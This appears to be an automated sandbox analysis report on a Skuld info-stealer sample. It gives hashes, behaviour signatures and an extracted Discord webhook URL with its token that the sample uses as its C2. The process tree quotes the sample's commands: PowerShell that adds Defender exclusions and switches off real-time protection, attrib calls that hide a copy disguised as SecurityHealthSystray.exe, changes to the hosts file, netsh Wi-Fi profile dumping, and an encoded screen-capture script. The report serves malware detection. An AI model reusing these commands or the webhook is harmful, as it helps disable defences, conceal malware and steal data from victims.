Analysis

  • max time kernel
    25s
  • max time network
    19s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-06-2024 23:08

General

  • Target

    main.exe

  • Size

    14.2MB

  • MD5

    79eb03e5760482cf9bf4a781de9aefd0

  • SHA1

    cd27d46f8c5a134696d62b1521f71158f124b35a

  • SHA256

    ffdac036f40a0d3bac9efa13a7d086dfce3a2a6ab3c5354fb37f56b822647885

  • SHA512

    ee2067f5609223e029eebb7ccca96033d8cfad62321bf35baad133df79500edd376949800b073549a3ce09917e1f58d593b2fc933cd7fe23a000b253de34fe7d

  • SSDEEP

    196608:TMhP4WgzpUmKAUTo4z3wVSIPLFFrL0AGtWT6U:TyP2Oo40HLvL7Gty

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1254198620102594621/No6jloWQ57wzq3vilj1sf51CnodPLo51Rm4myHwx_3QsP6yctAWQozLZQ-NPJTX5tFpl

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\main.exe
    "C:\Users\Admin\AppData\Local\Temp\main.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3700
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\main.exe
      2⤵
      • Views/modifies file attributes
      PID:3748
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:1388
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3920
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:4772
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\main.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:4616
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:2748
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:2288
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1112
        • C:\Windows\System32\Wbem\wmic.exe
          wmic path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:4504
        • C:\Windows\System32\Wbem\wmic.exe
          wmic csproduct get UUID
          2⤵
            PID:3756
          • C:\Windows\system32\attrib.exe
            attrib -r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:4480
          • C:\Windows\system32\attrib.exe
            attrib +r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:5052
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:404
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of WriteProcessMemory
            PID:2012
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5rbko3so\5rbko3so.cmdline"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1736
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE30D.tmp" "c:\Users\Admin\AppData\Local\Temp\5rbko3so\CSC6C6E345660D440F0AC4144EB50B2CC42.TMP"
                4⤵
                  PID:4548
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4168,i,11069752405888604640,8928124405695604965,262144 --variations-seed-version --mojo-platform-channel-handle=4272 /prefetch:8
            1⤵
              PID:1904
            • C:\Windows\system32\taskmgr.exe
              "C:\Windows\system32\taskmgr.exe" /4
              1⤵
                PID:1520

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                Filesize

                2KB

                MD5

                d85ba6ff808d9e5444a4b369f5bc2730

                SHA1

                31aa9d96590fff6981b315e0b391b575e4c0804a

                SHA256

                84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                SHA512

                8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                944B

                MD5

                77d622bb1a5b250869a3238b9bc1402b

                SHA1

                d47f4003c2554b9dfc4c16f22460b331886b191b

                SHA256

                f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

                SHA512

                d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                944B

                MD5

                929039f18a6c7352b68db3eee415ee47

                SHA1

                6711f5be6de777b7e1ff21fa43d05d83c90e3ef2

                SHA256

                c0038cbc4c22ad0eced4c7576a6fd33fa635e72b65a85a0a047538a8e038c487

                SHA512

                9fcc5aeb4aca36867d8cbfd33366fed75caa5802548bb543483d8441252a8fc8655bfa9a927cea61d5c037efbe6a00a047322192b51bd9977cc0fb2a2aa43faa

              • C:\Users\Admin\AppData\Local\Temp\5rbko3so\5rbko3so.dll

                Filesize

                4KB

                MD5

                3659ca3158360b08236faa6cd8af2ccd

                SHA1

                3ce9553d95c31e1fec5816218c279769becadd72

                SHA256

                67b54130409efbd579368e93608d8f9c18aca137f783bd49dd7133180fea543c

                SHA512

                6e994099fc0dd3496aa75b6bc47950f3876adcd30a2b72fd3cdb8c59d9c7b0c128aff5102f21c75c0b9dba452631b16cc770c529dc54e1b7a19f85bbcf9e65f6

              • C:\Users\Admin\AppData\Local\Temp\RESE30D.tmp

                Filesize

                1KB

                MD5

                052b3999acd3ded2bcc4f7cf41655865

                SHA1

                320e81c0b52cb1f505eb7ee96fa351ae573095e0

                SHA256

                e57f90fce83d7bfac2bde45c620e2a4bd252f861693e8c0812ef55e2a86a1fc3

                SHA512

                7a266bd8610b571b490cb6c9c06b1b5f930954a5d4a2c2d3b1be50bd3088fa08213ccde148af1d2f595cf193aa96d95dcbcb2a3631be4c766aae90d690538131

              • C:\Users\Admin\AppData\Local\Temp\YRKeZM824G\Display (1).png

                Filesize

                425KB

                MD5

                0be439005541f5994bbb7de181c73b8f

                SHA1

                b37a571e7dbf7c2d8a8b87aa65599cf6c5247a49

                SHA256

                d7cfd5cc00c48115c05639c531f7c392a73d24e6d7fd7f249340762156283d57

                SHA512

                2a45c8f9d79795d238ee5bc689a407d6804b4335c2d4d4a0cc32844649f109f4eb0ed83f082dd5ad8f34ff18e4876e7636fa54357f1d647a170f909bf427eb14

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tggalk3p.kax.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

                Filesize

                14.2MB

                MD5

                79eb03e5760482cf9bf4a781de9aefd0

                SHA1

                cd27d46f8c5a134696d62b1521f71158f124b35a

                SHA256

                ffdac036f40a0d3bac9efa13a7d086dfce3a2a6ab3c5354fb37f56b822647885

                SHA512

                ee2067f5609223e029eebb7ccca96033d8cfad62321bf35baad133df79500edd376949800b073549a3ce09917e1f58d593b2fc933cd7fe23a000b253de34fe7d

              • C:\Windows\System32\drivers\etc\hosts

                Filesize

                2KB

                MD5

                6e2386469072b80f18d5722d07afdc0b

                SHA1

                032d13e364833d7276fcab8a5b2759e79182880f

                SHA256

                ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

                SHA512

                e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

              • \??\c:\Users\Admin\AppData\Local\Temp\5rbko3so\5rbko3so.0.cs

                Filesize

                1004B

                MD5

                c76055a0388b713a1eabe16130684dc3

                SHA1

                ee11e84cf41d8a43340f7102e17660072906c402

                SHA256

                8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

                SHA512

                22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

              • \??\c:\Users\Admin\AppData\Local\Temp\5rbko3so\5rbko3so.cmdline

                Filesize

                607B

                MD5

                cd07ff5a8f222f035da73f2699dc749f

                SHA1

                def7a35f13518ab1fbff313329d22842b4027cde

                SHA256

                020e0d4c9395bbdfc4f34c7d78783d43a2f926c0efb7f9b742c18344b0f4b154

                SHA512

                daee83fdf93a6b8d3d8b4727cfa7d72bc50b86643080422c65517fa5d538d8c0401179e81bcd61d3bdedab41fb9410014121e1305c17990f13d43d2d9f3e3003

              • \??\c:\Users\Admin\AppData\Local\Temp\5rbko3so\CSC6C6E345660D440F0AC4144EB50B2CC42.TMP

                Filesize

                652B

                MD5

                e975113e399ec235adc0210b70737557

                SHA1

                b79830f752cfbb8c27e209ee7ed1857a8f0bd4d0

                SHA256

                1dea0b1dd8fbb1e591301ae6577e7bd86d9c5b22f5e91d7edb895a6364e44c63

                SHA512

                7563ca8fefe8742b3fb7c3d8b19e9acf67f46a6162a9a5cd33eb5f87e602b5b340d00143b5bd70cd1e9071890f9df6acf6b226badfa592f24792a58ed78475fe

              • memory/2012-60-0x000001EEE9C00000-0x000001EEE9C08000-memory.dmp

                Filesize

                32KB

              • memory/4616-3-0x0000029F6D010000-0x0000029F6D032000-memory.dmp

                Filesize

                136KB